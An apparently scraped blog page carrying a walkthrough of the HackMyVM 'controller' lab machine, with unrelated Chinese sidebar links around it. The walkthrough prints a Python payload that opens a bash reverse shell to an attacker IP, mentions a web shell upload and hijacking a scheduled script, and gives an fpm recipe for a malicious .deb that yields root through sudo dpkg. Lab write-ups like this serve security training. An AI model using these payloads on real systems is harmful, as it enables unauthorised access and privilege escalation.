当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell

visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/ we get hint.

use enum4linux to get samba shares, the we get the directory tester which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')

2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php.

because of thedisable_functions, you can not use terminal directly. you can use php7_userfilter to bypass. But in there, you do not need to do this.
check the file which own to user webservices.
we find the /opt/logs/log.txt will be changed by /opt/website.py at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l, we find the dpkg -i[1]. make a particular deb by using fpm, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- [campo/random-user-agent] Randomly fake your User-Agent
- 解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
- 正则笔记(1)- 正则表达式字符匹配攻略
- MySql高级 -- 约束
- 批量替换文件字体,简体->繁体
- 点名系统和数组元素为对象的排序求最大值和最小值
- When PHP initiates Alipay payment, the order information is garbled and solved
- [trendsoft/capital]金额转中文大写库
- uniapp | 官方提供的map组件使用问题
- 每日面试题 2022/7/28
猜你喜欢
随机推荐
PHP基金会三月新闻公告发布
(3)Thinkphp6数据库
Baidu positioning js API
Small program van-cell line wrapping can be left-aligned
js 原型和原型链
每日五道面试题总结 22/7/23
Turn trendsoft/capital amount of Chinese capital library
vim编辑模式
14.JS语句和注释,变量和数据类型
TCP communications program
[campo/random-user-agent] Randomly fake your User-Agent
Advanced Operations on Arrays
PHP有哪些框架?
17.JS条件语句和循环,以及数据类型转换
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
[phpunit/php-timer] A timer for code execution time
4. PHP array and array sorting
阿里云设置域名解析重定向后,无法使用Chrome访问
PHP8.2 version release administrator and release plan
攻防世界—MISC 新手区1-12








